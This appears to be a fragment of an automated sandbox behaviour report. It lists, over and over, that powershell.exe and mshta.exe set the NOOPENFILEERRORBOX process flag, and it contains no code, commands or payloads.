          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
